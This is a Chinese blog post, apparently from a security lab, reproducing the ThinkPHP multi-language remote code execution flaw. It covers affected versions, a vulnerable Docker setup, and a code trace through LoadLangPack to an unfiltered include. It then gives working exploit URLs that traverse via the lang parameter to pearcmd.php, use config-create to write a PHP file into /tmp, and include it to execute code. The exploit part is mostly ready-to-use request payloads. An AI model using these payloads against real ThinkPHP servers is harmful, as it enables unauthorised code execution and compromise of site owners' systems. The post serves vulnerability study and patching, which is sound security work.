<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ThinkPHP多語言rce復現分析

    VSole2023-01-06 15:32:24


    前言

    前段時間爆出的ThinkPHP多語言rce很有意思,最近剛好有時間就學習一下。


    一、漏洞信息

    利用條件:

    1.安裝并已知pearcmd.php的文件位置。(默認位置 /usr/local/lib/php/pearcmd.php,Docker版本的鏡像中pear默認安裝)

    2.需要開啟php.ini中register_argc_argv選項。(docker的PHP鏡像是默認開啟的)

    3.thinkphp開啟多語言功能

    影響范圍

    6.0.1 < ThinkPHP≤ 6.0.13

    5.0.0 < ThinkPHP≤ 5.0.12

    5.1.0 < ThinkPHP≤ 5.1.8


    二、環境搭建

    下載源碼:https://github.com/top-think/think

    以v6.0.12為例下載解壓

    修改composer.json中“require”部分


    "require": {        "php": ">=7.2.5",        "topthink/framework": "6.0.12",        "topthink/think-orm": "^2.0"},
    

    執行命令:composer install 安裝完成

    打開多語言功能:app/middleware.php。中取消注釋

    •  \think\middleware\LoadLangPack::class,


    安裝pear:

    1、下載 go-pear.phar  http://pear.php.net/go-pear.phar

    2、執行 php go-pear.phar 設置1-12選項路徑,安裝。

    或使用docker


    docker run --name tp123 -p 8005:80 -d vulfocus/thinkphp:6.0.12
    


    三、漏洞分析

    首先看LoadLangPack這個類,handle()函數 中先調用detect()方法在請求中檢查是否有參數設置語言

    多個判斷中檢查了get、header、cookie等位置,config['allow_lang_list']默認為空情況下,$langSet賦給$range并返回

    又回到handle()中$this->lang->switchLangSet($langset); 執行

    參數傳入該函數內,拼接:thinkphp路徑/lang/ + 用戶參數$langset + .php。后傳進load()函數

    跟進load函數,發現參數傳進load函數中,在167行又被傳到parse函數內

    而parse函數直接用include對$file進行包含,也是漏洞觸發點。

    從上邊流程看出從獲取參數到傳入parse() 內都未對內容進行過濾。


    四、漏洞復現

    測試環境:macos 、php7.3、apache2.4

    1.首先測試是否存在pearcmd,當返回如下圖信息就代表pearcmd存在


    http://127.0.0.1/?lang=../../../../../../../../usr/local/lib/php/pearcmd
    

    路徑要修改指向你當前環境中 pearcmd.php 的位置。

    如圖,我當前環境pearcmd安裝路徑為

    “/usr/local/pear/share/pear/pearcmd.php”。

    2.先來了解如何利用pear

    當開啟register_argc_argv時,提交的參數都會傳入 $_SERVER[‘argv’]變量內

    可見&是無法分割參數的,會被當作一個整體。等號無法賦值,會被直接傳進參數

    當使用+號分割,將會作為數組,而pear執行是通過 readPHPArgv()來獲取argv內容。

    對應如下命令:

    pear config-create /xxxxxxx1 /tmp/test.php

    config-create命令用法,第一個參數為要寫入內容,第二參數為要寫入路徑

    3.使用poc測試,在/tmp 目錄下寫入admin.php文件。


    /index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/+/tmp/admin.php
    

    注:測試時發現通過get方式提交時 尖括號會被瀏覽器url編碼為 %3C?=phpinfo();?%3E ,并將編碼后內容%3c,%3e寫入文件,在解析php文件時找不到有效 

    用burp修改,正確寫入后的響應如下:

    此時文件已正確寫入/tmp目錄下,說明

    “ /&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/ ”部分被正常解析為get請求。

    當成功包含pearcmd文件時,才能利用pear寫入文件

    也可正常方式寫:


    http://url/?lang=../../../../../../../../../../usr/local/pear/share/pear/pearcmd&+config-create+/+/tmp/hello.php
    

    4.利用文件包含,解析文件


    /index.php?lang=../../../../../../../../tmp/admin
    

    再次利用文件包含去訪問我們寫入的文件。

    成功解析文件。

    當然不止config-create,還可以用Install命令下載


    雷石安全實驗室

    商務咨詢:

    0571-87031601

    商務郵箱:

    mtn@motanni.com

    多語言
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言前段時間爆出的ThinkPHP語言rce很有意思,最近剛好有時間就學習一下。路徑要修改指向你當前環境中 pearcmd.php 的位置。再次利用文件包含去訪問我們寫入的文件。
    POLYGLOT工具是一個通用的模糊框架,可生成用于測試不同編程語言的處理器的高質量輸入。
    谷歌推出了一款名為RETVec(Resilient and Efficient Text Vectorizer 的縮寫)的新型語言文本矢量化器,可幫助檢測Gmail 中的潛在有害內容,例如垃圾郵件和惡意電子郵件。
    鑒于該漏洞影響范圍較大,建議客戶盡快做好自查及防護。處置建議1、安全更新: 目前官方已發布安全更新,建議受影響客戶安裝更新 https://github.com/top-think/framework/releases2、自查方案: ThinkPHP 6 打開app/middleware.php 如果 \think\middleware\LoadLangPack::class 沒有注釋,代表著受此漏洞影響。
    無更贖金是由歐洲刑警組織、荷蘭國家警察局、英特爾安全和卡巴斯基實驗室共同發起的一項反勒索軟件跨行業倡議,旨在幫助勒索軟件受害者恢復數據,而無需向網絡罪犯支付贖金。統計數據顯示,大多數網站訪問者來自俄羅斯、荷蘭、美國、意大利和德國。
    日本的計算機應急響應團隊JPCERT分享了其檢測到的一種新的攻擊技術。2023年7月,JPCERT觀察到該攻擊技術并將之命名為“MalDoc in PDF”,該技術通過將惡意Word文件嵌入到PDF文件中來繞過檢測。
    Cervantes是一款專為紅隊研究人員以及滲透測試人員設計的開源協同合作平臺,在該平臺的幫助下,廣大研究人員可以輕松管理自己團隊中的項目、客戶、漏洞以及安全報告。
    Spring Framework、5.0.5 之前的 5.0.x 版本和 4.3.16 之前的 4.3.x 版本以及不支持的舊版本允許應用程序通過spring-messaging模塊通過簡單的內存 STOMP 代理通過 WebSocket 端點公開 STOMP 。惡意用戶(或攻擊者)可以向代理發送可能導致遠程代碼執行攻擊的消息。
    1Zabbix概述Zabbix是一個基于Web界面的提供分布式系統監視以及網絡監視功能的企業級的開源解決方案。
    美國聯邦調查局花費2700萬美元(約1.7億元)采購Babel X社交媒體監控服務,創下美國政府(民事部門)采購開源情報的最高金額紀錄; FBI的標書顯示,采購軟件應支持監控推特、臉書、微博等17個主要平臺(微博屬于可選),英文、中文等8種語言,以及多種智能監控分析功能。 據華盛頓郵報消息,美國聯邦調查局近日與Babel Street公司簽訂了一份創紀錄的軟件服務合同,以期強化對社交媒體內容的
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类